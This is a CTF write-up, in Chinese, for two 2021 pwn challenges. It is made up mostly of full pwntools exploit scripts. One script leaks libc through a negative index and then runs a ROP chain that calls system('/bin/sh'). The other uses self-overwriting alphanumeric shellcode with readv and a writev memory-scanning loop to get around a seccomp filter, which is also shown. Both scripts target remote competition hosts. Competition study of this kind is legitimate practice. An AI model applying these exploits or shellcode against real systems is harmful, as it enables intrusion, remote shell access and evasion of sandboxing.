[西湖论剑 2021] Pwn方向writeup - string_go, code_project
string_go
表达式计算器,负数导致溢出泄露地址+栈溢出写rop
from pwn import *
#p = process("./string_go", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("82.157.20.104", 42100)
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
# base: 0x0000555555554000
def send(content):
p.sendlineafter(b">>> ", content)
def exp():
#gdb.attach(p)
#gdb.attach(p, "b *0x0000555555554000+0x2415\nb *0x0000555555554000+0x2424\nc\n")
# start
send(b"1+2")
# lative
## leak
send(b"-7") # ch idx
send(b"\x00") # sta
send(b"\x02") # patch
leak_data = p.recv(0x58)
p.recv(0xa0)
libc_leak = u64(p.recv(8))
libc_base = libc_leak- 0x21bf7
system = libc_base + libc.symbols[b"system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret = libc_base + 0x215bf
ret = libc_base + 0x8aa
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
# overwrite
payload = leak_data[0x20:]
payload += p64(pop_rdi_ret) + p64(binsh) + p64(ret) + p64(system)
send(payload) # src str
p.interactive()
if __name__ == "__main__":
exp()
code_project
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0c 0x00 0x0000003b if (A == execve) goto 0018
0006: 0x15 0x0b 0x00 0x00000142 if (A == execveat) goto 0018
0007: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0018
0008: 0x15 0x09 0x00 0x00000101 if (A == openat) goto 0018
0009: 0x15 0x08 0x00 0x00000039 if (A == fork) goto 0018
0010: 0x15 0x07 0x00 0x00000065 if (A == ptrace) goto 0018
0011: 0x15 0x06 0x00 0x00000020 if (A == dup) goto 0018
0012: 0x15 0x05 0x00 0x00000009 if (A == mmap) goto 0018
0013: 0x15 0x04 0x00 0x00000130 if (A == open_by_handle_at) goto 0018
0014: 0x15 0x03 0x00 0x00000003 if (A == close) goto 0018
0015: 0x15 0x02 0x00 0x00000000 if (A == read) goto 0018
0016: 0x15 0x01 0x00 0x00000001 if (A == write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
看样子readv和writev有戏
readv
没有被禁用可以自覆盖解除alpha限制,writev
访问非法内存会返回错误值但是不会报错导致中断,可以写一个loop从低到高遍历地址去读flag
from pwn import *
from time import sleep
#p = process("./code_project")
p = remote("82.157.31.181", 25100)
context.log_level = "debug"
readv_x64 = '''
xor rdi, rdi;
mov rax, 0x7fffffff
shr rax, 20;
push rax;
push rsp;
mov rsi, rsp;
xor rdx, rdx;
inc rdx;
push 19;
pop rax;
syscall;
'''
writev_x64 = '''
mov r8, 0x100;
DO_WRITE:
add r8, 1;
mov rdi, 0x1;
mov rbx, r8;
shl rbx, 12;
mov qword ptr [rbp+0x100], rbx;
mov qword ptr [rbp+0x108], 0x30;
lea rsi, [rbp+0x100];
mov rdx, 1;
mov rax, 20;
syscall;
cmp r8, 0xffff;
jne DO_WRITE;
'''
def exp():
#gdb.attach(p, "b *0x400b16\nc\n")
p.recvuntil(b"DASCTF{MD5}\n")
# self overwrite
'''
payload1 = asm(readv_x64, arch="amd64")
print(payload1.hex("|"))
#pause()
with open("./alpha_shellcode", "wb") as f:
f.write(payload1)
'''
payload1 = b"Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103Z0y3g3c358O4F0L2O3b4K2G0e0l175M300x1M3p178L301n0X0j0H050"
payload1 = payload1.ljust(0x100, b"A")
p.send(payload1)
# writev loop
payload2 = b"\x90"*0x50
payload2 += asm(writev_x64, arch="amd64")
payload2 = payload2.ljust(0x100, b"\x90")
p.send(payload2)
p.interactive()
if __name__ == "__main__":
exp()